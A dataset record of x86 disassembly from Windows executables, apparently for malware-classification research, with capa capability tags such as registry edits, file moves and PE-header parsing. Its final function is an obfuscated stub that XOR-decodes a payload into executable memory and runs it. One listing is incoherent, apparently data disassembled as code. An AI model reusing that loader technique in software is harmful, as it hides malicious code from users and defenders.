joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e20
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x42a21c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x418], 0
push str.retryExtractStub
push 0x42097c
push 1
push str._s__s
call fcn.00401ce0
add esp, 0x10
lea eax, [ebp - 0x310]
push eax
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00404950
add esp, 0xc
push 0x2e
lea eax, [ebp - 0x310]
push eax
call fcn.00406320
add esp, 8
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x405e99
mov ecx, dword [ebp - 0x41c]
mov byte [ecx], 0
lea edx, [ebp - 0x310]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..old
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0041124a
add esp, 8
test eax, eax
jne 0x405eea
push 0x76
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404150
add esp, 8
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
jne 0x406007
push 0x2e
lea edx, [ebp - 0x108]
push edx
call fcn.00406320
add esp, 8
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x420]
mov byte [eax], 0
push str..new
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x76
lea edx, [ebp - 0x108]
push edx
call fcn.00404150
add esp, 8
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 8
jne 0x405ffd
cmp dword [ebp + 0x10], 0
je 0x405f7a
push 1
push str.Called_MovefileEx
call fcn.00401ce0
add esp, 8
push 5
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
jmp 0x405ffd
push 0x104
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push str.wininit.ini
lea eax, [ebp - 0x20c]
push eax
push 0
push str.rename
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push str.wininit.ini
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x20c]
push edx
push str.rename
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x414]
push ecx
push 1
push str._s__s
call fcn.00401ce0
add esp, 0x10
mov dword [ebp - 0x418], 8
push str.retryExtractStub
push 0x4209c0
push 1
push str._s__s
call fcn.00401ce0
add esp, 0x10
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040af7c
mov esp, ebp
pop ebp
ret
Function at 0x406170
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x42a21c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x138]
push ecx
push 0
push 0xf003f
push 0
push 0x420437
push 0
mov edx, dword [str.SoftwareOnflow]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x4062ec
push 0x42b1f4
call fcn.0040f970
add esp, 4
push eax
push 0x42b1f4
push 1
push 0
push str.Install_Date
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x144], eax
mov ecx, dword [0x42b32c]
mov dword [ebp - 0x134], ecx
jmp 0x406211
mov edx, dword [ebp - 0x134]
mov eax, dword [edx]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x4062df
mov ecx, dword [ebp - 0x134]
cmp dword [ecx + 8], 0
je 0x4062da
mov edx, dword [ebp - 0x134]
cmp dword [edx + 0xc], 0
je 0x4062da
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 8]
push ecx
push str._s___Plugins
lea edx, [ebp - 0x130]
push edx
call fcn.004012e0
add esp, 0xc
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 0xc]
push ecx
call fcn.0040f970
add esp, 4
push eax
mov edx, dword [ebp - 0x134]
mov eax, dword [edx + 0xc]
push eax
push 1
push 0
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 8]
push ecx
push str._s___Time
lea edx, [ebp - 0x130]
push edx
call fcn.004012e0
add esp, 0xc
push 0x42b1f4
call fcn.0040f970
add esp, 4
push eax
push 0x42b1f4
push 1
push 0
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x406203
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040af7c
mov esp, ebp
pop ebp
ret
Function at 0x406920
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x42a21c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x118]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x406a9a
mov dword [ebp - 0x114], 0x103
lea eax, [ebp - 0x120]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x103
je 0x406a07
mov dword [ebp - 0x114], 0x103
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
lea eax, [ebp - 0x120]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x110], eax
jmp 0x4069ab
cmp dword [ebp - 0x10c], 0
je 0x406a7f
mov dword [ebp - 0x114], 0x103
mov edx, dword [ebp - 0x10c]
sub edx, 1
mov dword [ebp - 0x10c], edx
lea eax, [ebp - 0x120]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x406a7d
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x118]
push eax
call fcn.00406920
add esp, 8
jmp 0x406a07
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040af7c
mov esp, ebp
pop ebp
ret
Function at 0x406ab0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x42a21c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x21c]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x406c9a
mov dword [ebp - 0x214], 0x103
lea eax, [ebp - 0x228]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x103
je 0x406b97
mov dword [ebp - 0x214], 0x103
mov edx, dword [ebp - 0x210]
add edx, 1
mov dword [ebp - 0x210], edx
lea eax, [ebp - 0x228]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x218], eax
jmp 0x406b3b
cmp dword [ebp - 0x210], 0
je 0x406c8d
mov dword [ebp - 0x214], 0x103
mov edx, dword [ebp - 0x210]
sub edx, 1
mov dword [ebp - 0x210], edx
lea eax, [ebp - 0x228]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x406c88
mov dword [ebp - 0x214], 0x103
lea edx, [ebp - 0x220]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406c88
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x22c]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x220]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406c88
mov ecx, dword [ebp + 0x14]
push ecx
lea edx, [ebp - 0x20c]
push edx
call fcn.00410d6d
add esp, 8
test eax, eax
jne 0x406c88
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
call fcn.00406920
add esp, 8
jmp 0x406b97
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040af7c
mov esp, ebp
pop ebp
ret
Function at 0x406cb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42a21c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x110], 0
cmp dword [ebp + 8], 0
je 0x406d5d
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.ONFLOWTESTTEMPTEMPTEMP.html
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x42058c
lea eax, [ebp - 0x108]
push eax
call fcn.00410114
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x406d5d
mov ecx, dword [ebp - 0x10c]
push ecx
push 1
push 2
push 0x4205b4
call fcn.0041034a
add esp, 0x10
mov edx, dword [ebp - 0x10c]
push edx
call fcn.0040fc91
add esp, 4
lea eax, [ebp - 0x108]
push eax
call fcn.00410533
add esp, 4
mov dword [ebp - 0x110], 1
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040af7c
mov esp, ebp
pop ebp
ret
Function at 0x40a760
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.SOFTWARE
push 0x80000002
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0xb
mov dword [ebp - 8], 0xff
mov dword [ebp - 0x14], 4
call esi
test eax, eax
jne 0x40a819
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x420d14
push dword [ebp - 0x10]
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40a814
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40a80f
cmp dword [ebp - 0xc], 4
jne 0x40a80f
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40a80f
mov dword [ebp - 8], 0xff
push dword [ebp - 4]
call esi
push dword [ebp - 0x10]
call esi
mov eax, dword [ebp - 8]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40a830
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x42a21c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x74]
push eax
push 0x20019
push 0
push str.SOFTWARE
push 0x80000002
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xb
mov dword [ebp - 0x80], 0x64
call ebx
push 0x64
mov edi, eax
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.0040bfb0
push dword [ebp + 0x10]
push esi
push dword [ebp - 0x7c]
call fcn.00411010
add esp, 0x18
test edi, edi
jne 0x40a948
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push 0x420d14
push dword [ebp - 0x74]
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
test esi, esi
jne 0x40a930
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x6c]
push 0
push 0
push eax
push 0
push dword [ebp - 0x78]
push dword [ebp - 0x70]
call ebx
mov esi, eax
test esi, esi
jne 0x40a92b
cmp dword [ebp - 0x6c], 1
jne 0x40a92b
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x78]
push dword [ebp - 0x70]
call ebx
cmp dword [ebp - 0x6c], 1
mov esi, eax
jne 0x40a92b
test esi, esi
jne 0x40a92b
push dword [ebp + 0x10]
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x7c]
call fcn.00411010
add esp, 0xc
push dword [ebp - 0x70]
call edi
push dword [ebp - 0x74]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040af7c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040af7c
mov esp, ebp
pop ebp
ret
Function at 0x40a960
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.SOFTWARE
push 0x80000002
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call esi
test eax, eax
jne 0x40a9e0
lea eax, [ebp - 4]
push eax
push 2
push 0
push 0x420d14
push dword [ebp - 8]
call esi
mov esi, eax
test esi, esi
jne 0x40a9d5
mov esi, dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40a9f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x190
xor edi, edi
call fcn.00401160
mov ebx, dword [ebp + 0xc]
lea ecx, [ebp - 8]
add esp, 4
mov dword [ebp - 4], eax
push ecx
push eax
push edi
push 6
push edi
push edi
push edi
push dword [ebx]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x40aafb
cmp dword [ebx], edi
je 0x40aa8e
mov eax, ebx
lea esi, [ebx + 8]
xor ecx, ecx
nop word [eax + eax]
mov edx, dword [eax + 4]
test edx, edx
je 0x40aa8e
mov eax, dword [esi]
test eax, eax
je 0x40aa8e
cmp byte [eax], 0
je 0x40aa8e
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
add eax, 4
add eax, ecx
push eax
mov eax, dword [ebp - 4]
push 0
push 6
push 0
push 0
push 0
push edx
push dword [ecx + eax]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40aad0
inc edi
add esi, 4
lea ecx, [edi*4]
cmp dword [ecx + ebx], 0
lea eax, [ecx + ebx]
jne 0x40aa40
lea eax, [ebx + 4]
mov ebx, dword [ebp - 4]
lea eax, [eax + edi*4]
push str._Default_
push dword [eax]
mov dword [ebp + 0xc], eax
call fcn.0040bd40
mov esi, dword [ebp + 0x10]
add esp, 8
push esi
test eax, eax
je 0x40aadc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push 0x420437
push dword [ebx + edi*4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp + 0xc], eax
jmp 0x40aafe
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + 0xc]
push esi
push 1
push 0
push dword [eax]
push dword [ebx + edi*4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp + 0xc], eax
jmp 0x40aafe
mov ebx, dword [ebp - 4]
cmp edi, 0xffffffff
jle 0x40ab27
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [eax]
mov eax, dword [ebx + edi*4]
test eax, eax
je 0x40ab21
push eax
call esi
mov dword [ebx + edi*4], 0
dec edi
cmp edi, 0xffffffff
jg 0x40ab10
mov eax, dword [ebp + 0xc]
xor esi, esi
test eax, eax
push ebx
cmovne esi, eax
call fcn.004011a0
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b8d3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40b912
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40b912
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b912
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40b912
cmp dword [ecx + 0x74], 0xe
jbe 0x40b912
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41f8e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f90d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f90d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401996
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x40c010]
test eax, eax
je 0x4019d5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4019d5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019d5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4019d5
cmp dword [ecx + 0x74], 0xe
jbe 0x4019d5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x403e80
Capabilities:
Encode data using xor

Disassembly:
cli
xchg ecx, eax
push ss
and ch, byte [edi + edx*8]
arpl word [eax], dx
push edx
push ecx
pop es
cmc
push ss
int1
mov bh, 0
or bh, byte [ecx]
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
dec edx
cld
xor al, byte [ebx - 0x199aebe0]
shr dword [esi], 1
adc dword [ebp - 0x19769ae1], ebp
rcl esp, 1
scasb al, byte es:[edi]
xlatb
xor al, 0x60
add dword [ebx + ebp*2 + 0xa9951], 0x74
cld
mov byte [0xbf8dbf18], al
rcl ebx, 1
xchg ebx, eax
or al, byte [ebx + 0x6d65fe37]
insd dword es:[edi], dx
div dword [ebx - 0x3c]
fisubr dword [ecx + 0x5f1a4948]
stc
imul ebp, edi, 0x91d698e2
cmp al, 0xf
inc esi
mov word [esi + eax*2 + 0x1fff082], gs
mov edi, dword [ebx + edx*8 + 1]
jb 0x403e16
sub al, 0x54
jb 0x403e4b
dec edx
pop es
jecxz 0x403e08
add byte [0x8c1ecded], cl
in eax, dx
hlt

Function at 0x4032f3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ecx + 0x10]
push edi
cmp esi, 0x40
jb 0x403351
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x403351
mov edx, dword [ecx + 0x3c]
lea eax, [edx + 0xf8]
cmp esi, eax
jb 0x403351
cmp dword [edx + ecx], 0x4550
jne 0x403351
movzx eax, word [edx + ecx + 4]
mov edi, 0x14c
cmp ax, di
je 0x40333c
mov edi, 0x8664
cmp ax, di
je 0x403351
lea eax, [ecx + 0x98]
add eax, edx
mov ecx, dword [eax]
test ecx, ecx
je 0x403351
add ecx, 0xc
cmp esi, ecx
jae 0x403353
xor eax, eax
pop edi
pop esi
pop ebp
ret 4
Function at 0x100311f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x10031221
lfence
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x10031210
pop edi
mov eax, edx
pop esi
pop ebp
ret 8

Function at 0x1003bbb0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10169ffd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x10
push esi
push edi
mov eax, dword [0x1023d090]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c], ecx
call fcn.1007a9e0
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov eax, dword [ebx + 8]
mov edx, 0x811c9dc5
mov esi, dword [eax + 4]
mov edi, dword [eax]
test esi, esi
je 0x1003bc21
nop dword [eax]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x1003bc10
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x18]
mov eax, dword [eax + 0xc]
and ecx, edx
mov esi, dword [eax + ecx*8 + 4]
lea edi, [eax + ecx*8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
cmp esi, eax
jne 0x1003bc44
xor esi, esi
jmp 0x1003bc74
mov edi, dword [edi]
lea eax, [esi + 8]
push eax
push dword [ebx + 8]
call fcn.1007a9e0
test al, al
jne 0x1003bc71
cmp esi, edi
je 0x1003bc6f
mov esi, dword [esi + 4]
lea eax, [esi + 8]
push eax
push dword [ebx + 8]
call fcn.1007a9e0
test al, al
je 0x1003bc56
jmp 0x1003bc71
xor esi, esi
mov eax, dword [ebp - 0x14]
test esi, esi
cmove esi, eax
cmp esi, eax
je 0x1003bd10
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ecx + 8]
test eax, eax
je 0x1003bc9d
lock inc dword [eax + 4]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov edi, dword [esi + 0x34]
test edi, edi
je 0x1003bd28
mov eax, dword [edi]
mov esi, dword [eax + 8]
lea eax, [ebp - 0x18]
push eax
mov ecx, esi
call dword [0x101851c8]
mov ecx, edi
call esi
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
test edi, edi
je 0x1003bd0b
or ecx, 0xffffffff
lock xadd dword [edi + 4], ecx
jne 0x1003bd0b
mov eax, dword [edi]
mov esi, dword [eax]
mov ecx, esi
call dword [0x101851c8]
mov ecx, edi
call esi
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x1003bd0b
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x101851c8]
mov ecx, edi
call esi
mov eax, dword [ebp - 0x1c]
jmp 0x1003bd12
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.1007a9e0
int3
Function at 0x1007a9e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1007a9ef
pop dword [ebp - 0xc]
mov eax, 0x99a88a79
sub eax, 0x89a0e08a
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xfc192634
sub dword [ebp - 0x1c], 0xadc6e0e9
mov dword [ebp - 0x18], 0x11b97bc0
sub dword [ebp - 0x18], 0xdf862f7b
mov dword [ebp - 0x14], 0xea2046e5
sub dword [ebp - 0x14], 0x9dd402b7
mov dword [ebp - 0x10], 0x8ffd2a20
add dword [ebp - 0x10], 0x7002d5e0
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x468d8eeb
sub dword [ebp - 0x1c], 0xd21b2595
mov dword [ebp - 0x18], 0xc5c3f6c8
sub dword [ebp - 0x18], 0x84579553
mov dword [ebp - 0x14], 0x1c3a34c6
add dword [ebp - 0x14], 0x473537a6
mov dword [ebp - 0x10], 0xa7d98df7
sub dword [ebp - 0x10], 0xa7d98df7
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x7a2857ea
add eax, 0x95eff846
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x8ac2e
push 0
call eax
mov ecx, 0xe1ca23ef
sub ecx, 0xe1c9e901
xor edi, edi
add edi, eax
mov ebx, 0xfcd1d30
add ebx, 0x594cd0
add ebx, dword [ebp - 0xc]
mov esi, 0x60136a4f
sub esi, 0x69fb64df
mov dword [ebp - 4], 0xe41f8f21
mov edx, dword [ebx]
xor edx, esi
sub dword [ebp - 8], ebx
mov dword [edi], edx
sub dword [ebp - 8], esi
add edi, 4
add ebx, 0x4eed5a2d
add ebx, 0xb112a5d7
loop 0x1007ab0e
add eax, 0x6fa77022
add eax, 0x90596e69
xor ebx, ebx
add ebx, eax
add eax, 0x4917365a
add eax, 0xb6e8c9ab
mov ecx, 0x715fe240
add ecx, 0x9ea01dc0
add ecx, dword [ebp - 0xc]
call ebx
leave
ret